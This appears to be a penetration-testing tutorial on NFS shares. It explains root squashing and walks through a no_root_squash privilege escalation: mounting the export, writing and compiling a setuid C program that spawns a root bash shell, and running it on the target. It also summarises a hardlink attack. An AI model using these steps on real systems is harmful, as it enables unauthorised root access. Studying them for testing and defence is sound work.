Attacking NFS Shares

NFS stands for Network File System and provides a way to mount remote file systems as if they were local to the system. The NFS service generally runs on port 2049. Here’s an example on how NFS works: let’s say you have networked your home so your Linux desktop computer is in your office, but your hard drive full of backups is stored in the basement connected to a Raspberry Pi server. You have decided that the basement is the best place to keep the hard drive for whatever reason. You are currently at your Linux desktop computer in your office and you want to access these files as if they were local to your computer. With NFS, you can now mount the remote hard drive onto your computer as if it were right there. After mounting the remote file system from the basement, you should be able to navigate to the file system where you mounted it. If you mounted the remote file system in your /home/<user> folder, you can navigate to your home directory to see all the files as if they were right there on your computer.

Security Considerations

With NFS, there is something that should be implemented called “root squashing”. What “root squashing” does is prevent a remote root user from having root access to the network file system. Let’s use the scenario above: If you are running as root on your personal desktop computer, and you connect to an NFS volume that doesn’t have root squash enabled, the file system will think you are a root user to it, and will provide full read/write access to the file system. On the other hand, if you connect to an NFS that has root squash enabled, the file system will not acknowledge your root user as valid, and will instead assign you the user of nfsnobody. With the nfsnobody user, you will have whatever permissions the folder has been given.

Abusing NFS

Here is a theoretical attack chain on a remote system that doesn’t have root squash enabled on its NFS share:

1. Attacker mounts the NFS volume to their computer
2. Attacker creates a malicious executable that when run, sets the current user to root
3. Attacker adds the suid bit to the executable so anyone running the executable runs it as root
4. Attacker logs into the remote system as a non-privileged user
5. Attacker runs the malicious executable and gains root access

Let’s see it in action:

From our attacking machine, we what NFS shares are available on the target:

root@kali:~# showmount -e 10.10.10.1
Export list for 10.10.10.1:
/tmp *

We create a temporary folder to mount the /tmp volume on, then mount it:

mkdir /mnt/nfs_share
mount 10.10.10.1:/tmp /mnt/nfs_share
cd /mnt/nfs_share

We can now create a malicious file called pwn.c on the file share by running this command:

echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /mnt/nfs_share/pwn.c

We compile the program and set the suid bit on the program:

gcc /mnt/nfs_share/pwn.c -o /mnt/nfs_share/pwn.c
chmod +s /mnt/nfs_share/pwn.c

On the target machine, as any non-privileged user, we run the executable program and get root.

user@debian:~$ /tmp/pwn.c
root@debian:~#

NFS Hardlinks

A hardlink is a link, or a pointer to physical data on a storage volume. By creating links in the NFS volume, an attacker can potentially access files outside of the exported directory. This idea was originally brought up on the website pentestmonkey.net. A lot of conditions must be met for this particular attack to work (taken from pentestermonkey.net):

• You’ve got write access to an NFS share
• You’ve got a non-priv logon for the NFS server that can write to the NFS share
• You want to read/write a file that is not in the NFS exported directory. The target file (probably) needs to be read/writable by a non-root user because root_squash is normally turned on. NB: If the target file is on the NFS export, simple UID/GID manipulation will get you what you need — you don’t need the “hardlink” attack.
• You’ve found that the nosuid and nodev options are being used (if they aren’t, then there are better attacks than this one you could use).

While rare, it is good to understand this particular misconfiguration in case you come across it. Full credit goes to pentestmonkey.net for this concept.

http://pentestmonkey.net/blog/nfs-hardlink

Other Thoughts About NFS

If you are able to read the contents of the /etc/exports file on the target, you will be able to see different file shares available for mounting along with configurations settings such as if root squash is enabled.